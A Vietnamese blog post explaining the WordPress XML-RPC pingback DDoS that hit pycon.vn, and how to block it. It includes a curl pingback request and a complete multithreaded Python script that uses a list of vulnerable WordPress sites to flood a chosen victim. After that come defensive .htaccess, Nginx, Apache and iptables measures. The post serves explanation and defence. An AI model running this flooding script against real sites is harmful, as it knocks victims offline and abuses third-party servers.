0

Tấn công DDos - WPpingback và cách phòng chống

Trong thời gian vừa qua, website của pycon.vn vừa bị tấn công DDOS, cách thức tấn công là sử dụng WPpingback để tấn công. Trong bài viết này, tôi xin đề cập một vấn đề về hình thức tấn công này: giải thích, demo bằng python. hướng khắc phục. Nguyên nhân và lý do: Mời các bạn xem hình sau:

alt text

Bằng cách sử dụng lỗi của Wordpress: Ví dụ http://198.55.49.187/xmlrpc.php thì hacker có thể:

  • Intel gathering: thăm dò các cổng đặc biệt với phạm vi mạng nội bộ.
  • Port scanning: Quét các cổng của các máy chủ mạng nội bộ.
  • DoS attacks: Với số lượng lớn site bị lỗ hổng này có thể gây ra một cuộc tấn công DoS.
  • Router hacking: kẻ tấn công có thể cấu hình một router nội bộ trên mạng

Đơn giản ta có thể tấn công bằng lệnh sau

curl http://www.example.com/xmlrpc.php -d
	'<?xml version="1.0" encoding="iso-8859-1"?><methodCall><methodName>
	pingback.ping</methodName><params><param><value>
	<string>http://attacked.site.com/link_to_post
	</string></value></param><param><value><string>
	http://www.example.com/any_blog_post/
	</string></value></param></params></methodCall>'

Ví dụ tấn công với Python

#!/usr/bin/python
import sys
import socket
import threading
import time
import os
Lock = threading.Lock()
def main():
		try:
			in_file = open("list.txt","r")
		except:
			raw_input('You need a list.txt file to work')
			sys.exit(0)
		os.system("title ...:: XML::... ")
		print '-------------------------------------------------------------------------\n'
		num_thread = input("thread: ")
		url = raw_input("VicTim: ")
		for i in range(num_thread):
			try:
				in_line = in_file.readline()
				Thread1(url, i+1, in_line).start()
				in_line = in_line[:-1]
			except:
				pass
		time.sleep(3)

class Thread1(threading.Thread):
	def __init__(self, url, number, blog):
		self.url = url
		self.number = number
		self.blog = blog
		threading.Thread.__init__(self)

	def run(self):
		Lock.acquire()
		print 'Starting thread #%s'%self.number
		Lock.release()
		function_pingback = "<?xml version='1.0' encoding='iso-8859-1'?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>%s</string></value></param><param><value><string>%s</string></value></param></params></methodCall>"%(self.url, self.blog)
		request_lenght = len(function_pingback)
		try:
			self.blog_cleaned = self.blog.split("?p=")[0]
			self.blog_cleaned1 = self.blog_cleaned.split("http://")[1].split("/")[0]
		except:
			sys.exit(0)
		request = "POST %s/HTTP/1.0\r\nHost: %s\r\nUser-Agent: Internal Wordpress RPC connection\r\nContent-Type: text/xml\r\nContent-Length: %s\r\n\n<?xml version=\"1.0\" encoding=\"iso-8859-1\"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>%s</string></value></param><param><value><string>%s</string></value></param></params></methodCall>\r\n\r\n"%(self.blog_cleaned, self.blog_cleaned1, request_lenght, self.url, self.blog)
		while True:
				time.sleep(3)
				try:
					s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.SOL_TCP)
					s.connect((self.blog_cleaned1, 80))
					s.send(request)
					print"Thread %s | Blog %s"%(self.number, self.blog_cleaned1)
				except:
					ok = 0
main()

Với chương trình trên, bạn cần đưa vào danh sách site wp bị lỗi ở file list.txt (Là một danh sách lưu trữ những site wordpress bị lỗi). Sau đó chương trình sẽ hoạt động. Tra cứu log bạn sẽ thấy request như sau trên hệ thống:

alt text

Vậy cách phòng chống như thế nào? Tôi xin đề xuất một số cách như sau:

Thêm file .htaccess ngay DocumentRoot host của ta (đa số là thư mục public_html) với nội dung như sau: **** trả về lỗi 403 khi truy cập file.

# protect xmlrpc
<IfModule mod_alias.c>
RedirectMatch 403 /xmlrpc.php
</IfModule>

Redirect đến trang khác

# protect xmlrpc
<IfModule mod_alias.c>
Redirect 301 /xmlrpc.php http://example.com/custom-page.php
</IfModule>

Cấm truy cập:

# protect xmlrpc
<Files xmlrpc.php>
Order Deny,Allow
Deny from all
</Files>

Chỉ cho một vài IP truy cập:

# protect xmlrpc
<Files xmlrpc.php>
Order Deny,Allow
Deny from all
Allow from yourIP
</Files>

Ngoài ra bạn cũng có thể thiết lập Nginx như sau:

if ($http_user_agent ~* "WordPress") {
return 403;
}
-----------------------
worker_processes         4;
worker_rlimit_nofile 70000;

events {
    worker_connections  2024;
}

Với Apache:

BrowserMatchNoCase WordPress wordpress_ping
BrowserMatchNoCase Wordpress wordpress_ping
Order Deny,Allow
Deny from env=wordpress_ping

Một cách khác nữa bạn có thể lọc các IP đang tấn công bạn, sau đó cấm trên IPtables.

Lọc tất cả các IP đang tấn công:

cat /var/log/nginx/access.log | grep "verifying pingback from" > pingback_attack.log
<?php
error_reporting(0);

$reqs = file("pingback_attack.log");

foreach ($reqs as $req) {
    $ip = explode(" - - ", $req);
    $ip_address[$ip[0]]++;
}

arsort($ip_address);

foreach ($ip_address as $ip=>$attack_times) {
    print "# Wordpress IP. Attacked {$attack_times} times<br />";
    print "iptables -A INPUT  -s {$ip} -j DROP<br />";
}

?>

Về cơ bản thì đây là các biên pháp tình thế, với pycon.vn thì việc tấn công như vậy ảnh hưởng khá nhiều do dung lượng một tháng có hạn. Nếu bạn gặp tình huống như của tôi và với cấu hình VPS 1GB có thể tiếp đón 5K request nếu dung lượng của bạn không giới hạn. Chúc bạn thành công!

Python Việt Nam pycon.vn

Tài liệu tham khảo:

https://www.exploit-db.com/exploits/29522/ https://core.trac.wordpress.org/attachment/ticket/4137/exploit.py

Video tham khảo trực tiếp cách thức tấn công:


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí